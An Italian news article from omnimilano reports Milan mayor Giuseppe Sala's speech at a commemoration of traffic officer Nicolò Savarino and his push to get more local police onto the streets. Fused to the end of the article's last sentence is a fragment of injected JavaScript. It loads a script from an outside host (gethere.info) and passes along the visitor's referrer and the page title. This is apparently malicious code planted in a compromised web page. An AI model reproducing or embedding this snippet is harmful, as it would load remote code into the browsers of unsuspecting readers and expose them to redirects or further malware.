"/>
lunedì 21 agosto 2017 18:02:41
omnimilano

Sala a commemorazione Savarino
“Vero figlio di Milano”

12 gennaio 2017 Cronaca, Politica

“Ci sono due buoni motivi per essere qua: il primo è la storia di Savarino, la storia dell’integrazione di un non milanese che è diventato tale interpretando i valori dell’essere milanese. È la storia di una Milano che abbraccia. Io non l’ho conosciuto, ne ho parlato con alcuni colleghi che me l’hanno descritto come un vero figlio di Milano”. Così il sindaco Giuseppe Sala ha esordito nel suo discorso alla commemorazione del vigile Nicoló Savarino, morto 5 anni travolto da un suv. Il secondo motivo per cui, secondo il primo cittadino, è importante essere presenti a un evento come quello che si è tenuto al parco di via Livigno, intitolato allo stesso Savarino, è che “stare in strada in questo mondo difficile porta dei rischi. Io amo i componenti della polizia locale che sentono il dovere di stare in strada, fare il loro dovere e fare la loro parte. È questo che qualifica il mondo dei vigili e li fa amare dai milanesi. È per questo che oggi è importante continuare a ricordare Savarino. La polizia locale deve continuare ad essere presente nella città. È il momento di trovare ancora più coesione tra questo corpo e la città. Lo dobbiamo anche a una persona come Nicoló Savarino”, ha concluso. Presenti alla cerimonia, nel corso della quale è stata deposta una corono di fiori alla memoria, anche l’assessore alla Sicurezza Carmela Rozza e il comandante della polizia locale Antonio Barbato che di Nicoló ha ricordato “la tua incondizionata generosità, la vicinanza alle persone più deboli”. Quello del vigile urbano, ha aggiunto, “è un lavoro difficile perché ogni operatore deve sapere coniugare il buon senso con la capacita di far rispettare le regole. Tu questo ruolo l’hai interpretato in modo impeccabile e il tuo esempio dà a tutti noi la forza di continuare la nostra missione quotidiana per la collettività”. Nell’occasione, Sala ha spiegato che sta “chiedendo di verificare, senza nessuna caccia alle streghe, se tutti i permessi che ci sono sono giustificati, perché il nostro obiettivo deve essere di avere quanti più possibile vigili in strada”. Riferendosi ai permessi che consentono a una percentuale consistente dei 3mila vigili del comune di Milano di essere esonerati dal servizio in strada, Sala ha ricordato la necessità di più agenti per le vie della città: “È un tema che riguarda Milano come Roma e le altre grandi città. È un momento difficile obiettivamente. Penso che sia utile – ha detto – che in questo momento i vigili urbani stiano ancora più vicini ai cittadini, il più possibile in strada e che i cittadini sentano questa presenza. Su questo lavoreremo perché i tempi sono delicati e i vigili urbani sono l’asse portante del sistema di sicurezza”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Condividi questo articolo